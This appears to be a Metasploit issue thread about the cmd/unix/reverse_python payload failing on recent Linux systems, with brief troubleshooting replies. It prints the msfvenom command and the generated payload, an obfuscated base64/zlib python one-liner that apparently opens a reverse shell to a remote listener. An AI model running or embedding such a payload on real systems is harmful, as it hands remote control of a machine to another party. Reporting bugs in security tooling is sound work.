Payload cmd/unix/reverse_python gives "Syntax error" on recent Linux systems

[q2dg]

For instance, doing this in Fedora 40 (msfvenom -p cmd/unix/reverse_python -f raw -o jejeje) I get this when I run python jejeje:

File "/home/q2dg/jejeje", line 1
python -c "exec(import('zlib').decompress(import('base64').b64decode(import('codecs').getencoder('utf-8')('eNrLzC3ILypRKM5Pzk4tUQABHSAuLk0qKMpPTi0uhgvlQ5gKCtYQKiO/uMRWydDSSM/QzELPEEiaK6GqABlsawIEqMLFthDL9CCUBpTn6Bbv6ecagnACRDjY39k7PjgkyNXRVxPNHL3k/Ly81OQSDQ2QW+AaQdZqoqnNL9ZLKS0w0ijWS8vMSc3L19CEKzcgXqkh8UqN0JQW2CKCVC85MSdHQ0k/KTNPvzhDSRMAuPpfLA==')[0])))"

I believe you you just need to run chmod +x ./jejeje ./jejeje

Yes, you're right: I though payload had the shebang inside but it hasn't.
Anyway, in Ubuntu by default there's no "python" executable but the "python3" executable, so your solution doesn't work either, Making the needed link between them, however, doesn't work neither because I get another strange error about strings handling (maybe payload is in Python2???).
What is clear is this payload needs a lot more care.

yeah we'd need something similiar to this most likely
